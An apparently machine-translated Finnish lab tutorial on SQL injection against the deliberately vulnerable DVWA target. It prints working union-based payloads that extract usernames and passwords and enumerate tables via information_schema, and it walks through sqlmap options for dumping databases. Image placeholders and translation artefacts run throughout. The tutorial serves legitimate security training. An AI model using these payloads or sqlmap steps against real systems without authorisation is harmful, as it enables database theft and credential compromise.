Teknologian jakaminen

[Testauskehitys] -- Tietoturvan läpäisytestaus

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Turvallisuusläpäisy

1.1 Luokitus

  • web-tietokannan suojaus
  • Verkkosovelluspalvelimen suojaus (tiedostojen lataushaavoittuvuus, tiedostojen sisällyttämisen haavoittuvuus)
  • Web-asiakassuojaus (XSS-sivustojen välinen hyökkäys)

2. sql-injektio

2.1 Johdatus sql-injektioon

  • SQL-injektio on tietoturvaongelmien kärjessä
  • SQL-injektiohyökkäys tarkoittaa sitä, että syöttöparametreja ei suodateta ja sitten liitetään suoraan SQL-käskyyn analysointia varten.
  • SQL-injektio on hyökkäystekniikka, joka lisää SQL-koodin syöttöparametreihin ja välittää sen palvelimelle jäsentämistä ja suorittamista varten.

2.2 SQL-injektioperiaate

  • Hyökkääjä lähettää sivulle haitallisia merkkejä
  • Palvelin ei suodata lähetettyjä parametreja tai suodatus on riittämätön.
  • Hyökkääjät käyttävät sql-lauseiden liittämistä saadakseen arkaluonteisia tietoja tietokannasta

2.3 sql-injektion vaarat

  • Tietokannan vuoto
  • Käyttäjätietoja ostettiin ja myytiin laittomasti
  • Verkkosovellusten tietoturva vaarantuu

2.4 SQL-injektion toteutustapa

  • Manuaalinen
    • Etsi: injektiokohta
    • Syöttö: SQL:n yleinen injektioyhdistelmän syntaksi injektiota varten
  • automaattinen (työkalu)
    • Työkalu: Etsi injektiokohdat
    • Syöttö: Kokeile automaattisesti erilaisia ​​syntaksien yhdistelmiä

3. Ympäristön asetukset

3.1 vmware virtuaalikone

3.1.1 Toiminto

  • Virtuaalikoneohjelmisto, jonka avulla voit asentaa useita virtuaalisia käyttöjärjestelmiä (Linux, Windows) fyysisiin koneisiin
  • Kohdedronit ja penetrantit toimivat VMware-ohjelmistolla
    VMwaren lataus opetusohjelma

3.2 Kohdedrone (projektiympäristön käytön oppiminen)

vaikutus

  • Linux-virtuaalikonejärjestelmä Jotkin verkkosovellukset, joissa on tunnettuja haavoittuvuuksia, on asennettu tähän virtuaalikoneeseen oppimisen helpottamiseksi.
  • OWASP-kohdedrone-asennuksen opetusohjelma

3.3 Läpäisykone (oppii hyökkäämään SQL-injektioympäristöön)

vaikutus:

  • Kali sisältää satoja työkaluja, joita voidaan käyttää erilaisiin tietoturvatehtäviin, kuten penetraatiotestaukseen, tietoturvatutkimukseen

4. Manuaalinen ruiskutus

4.1 Ympäristön valmistelu

Kuvaus: Harjoittele manuaalista injektiota drone-verkkosovelluksen kautta
vaihe:

  • Käynnistä kohdedrone OWASP
    Lisää kuvan kuvaus tähän

  • Pääset drooniin selaimen kautta

  • Vieraile OWASP-dvwa-projektissa
    Lisää kuvan kuvaus tähän

  • Kirjaudu sisään
    Lisää kuvan kuvaus tähän

  • Valitse sql-injektiosovellus
    Lisää kuvan kuvaus tähän

4.2 Etsi pistoskohta

Huomautus: Käytä pääasiassa yksittäisiä lainausmerkkejä ja erotusmerkkejä, pääasiassa yksittäisiä lainausmerkkejä
periaate:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Lisää kuvan kuvaus tähän

Lisää kuvan kuvaus tähän

4.3 Looginen TAI

Lisää kuvan kuvaus tähän

4.4 Arvaa sarakkeiden lukumäärä

  1. liiton toimesta
' union select 1,2 #
  • 1

Lisää kuvan kuvaus tähän
2. Loogisella TAI:lla

'or 1=1#
  • 1

Lisää kuvan kuvaus tähän

4.5 Hanki tietokannat, taulukot ja sarakkeet

Hanki tietokannan nimi

' union select 1,database()#
  • 1

Lisää kuvan kuvaus tähän
Hanki pöytä

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Lisää kuvan kuvaus tähän

Hae sarake

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Lisää kuvan kuvaus tähän

4.6 Hae tiedot

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Lisää kuvan kuvaus tähän

4.7 concat-funktio

Toiminto: Liitä useita merkkijonoja yhdeksi merkkijonoksi
Syntaksi: concat(str1, str2,…)
Esimerkki:

  • Hanki user_id, user, salasana käyttäjätaulukosta ja näytä ne kahdessa sarakkeessa
select user_id,concat (user,password) from dvwa,users;
  • 1

Lisää kuvan kuvaus tähän

  • Ratkaise käyttäjän ja salasanan yhdistämisen ongelma
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Lisää kuvan kuvaus tähän

  • Hanki useita kenttiä
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Lisää kuvan kuvaus tähän

5. Automaattinen ruiskutus

5.1 Johdatus automaattiseen ruiskutukseen

Huomautus: Automaattinen injektio tarkoittaa työkalujen käyttöä manuaalisen työn sijaan sql-injektiotoimintojen suorittamiseen.
Työkalu: sqlmap

5.2 Ruiskuta ympäristö automaattisesti

  • Käynnistä drone
  • Käynnistä lävistyskone

5.3 sqlmap

Työkalu: sqlmap

  • Avoimen lähdekoodin läpäisytestaustyökalu
  • Tunnista ja hyödynnä SQL-injektion haavoittuvuudet automaattisesti ja ota tietokantapalvelimet haltuunsa
    Rakentaa:

5.3.1 sqlmapin peruskäyttö

parametri

  • -u: Tarkista kohde-url
  • -erä: Käsittelee automaattisesti pyydetyt tiedot
  • –cookie: lisäevästeparametrit

askel

  • Skannaa injektiopiste
  • Hanki tietokannan nimi
  • Hanki taulukon nimi
  • Hanki kentän nimi
  • hakea tietoja

Koska meidän on kirjauduttava sisään, saamme ensin sisäänkirjautuneen sivun evästeen
Lisää kuvan kuvaus tähän
Aloita sitten pistoskohdan skannaus
Lisää kuvan kuvaus tähän
Onnistunut injektio
Lisää kuvan kuvaus tähän

5.3.2 sqlmap saa kirjaston nimen

– current-db: Pyydä nykyisen verkon käyttämä tietokannan nimi
-D: Käytä määritettyä tietokantaa
Lisää kuvan kuvaus tähän
operaation tulos:
Lisää kuvan kuvaus tähän

5.3.3 sqlmap saa taulukon

– current-db: Kysele kaikki määritetyn kirjaston taulukoiden nimet (sinun on määritettävä kirjaston nimi ensin -D-näppäimellä)
-T: Määritä taulukko
Lisää kuvan kuvaus tähän

operaation tulos:
Lisää kuvan kuvaus tähän

5.3.4 sqlmap saa sarakkeet

– sarakkeet: Kysely kaikki määritetyn taulukon kentät (sinun on määritettävä taulukon nimi ensin -T)
-C: Määritä kentän nimi

Lisää kuvan kuvaus tähän
operaation tulos:
Lisää kuvan kuvaus tähän

5.3.5 sqlmap hakee tiedot

-dump: Lataa tiedot

Lisää kuvan kuvaus tähän
operaation tulos:
Lisää kuvan kuvaus tähän